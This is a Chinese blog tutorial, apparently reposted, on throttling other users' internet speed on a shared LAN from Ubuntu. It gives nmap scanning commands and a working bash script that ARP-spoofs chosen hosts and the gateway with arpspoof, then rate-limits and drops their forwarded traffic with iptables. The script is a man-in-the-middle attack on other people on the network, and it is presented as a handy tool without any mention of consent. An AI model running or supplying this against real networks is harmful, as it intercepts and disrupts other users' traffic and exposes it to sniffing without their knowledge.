linux轻松限制局域网网速

为了限制无线路由器上大家的上网速度,减少p2p工具的影响

可以通过arp欺骗和iptables来限制局域网的上网速度

操作系统:ubuntu

1)sudo apt-get install dsniff nmap

2)探测局域网主机的ip地址

sudo nmap -sS 网关ip/24

在此例中:

192.168.1.100           为要限速的主机

192.168.1.1                为网关地址

3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward 

4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:

sudo  ./iptable.sh  要限的速度(30为40k/s) 网关ip  限速主机1  限速主机2

#!/bin/bash
if [ $# -le 2 ]
then
    echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
    exit -1
else
    speed=$1
    gateway=$2
fi
IPT=/sbin/iptables

while [ $# -gt 2 ]
do
    shift
    echo $gateway,$2
    arpspoof -i eth0 -t $2 $gateway&
    arpspoof -i eth0 -t $gateway $2&

    $IPT -A FORWARD -s $2  -m limit --limit ${speed}/s -j ACCEPT

    $IPT -A FORWARD -d $2  -m limit --limit ${speed}/s -j ACCEPT

    $IPT -A FORWARD -s $2  -j DROP

    $IPT -A FORWARD -d $2  -j DROP

done




转载于:https://my.oschina.net/renguijiayi/blog/178128

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值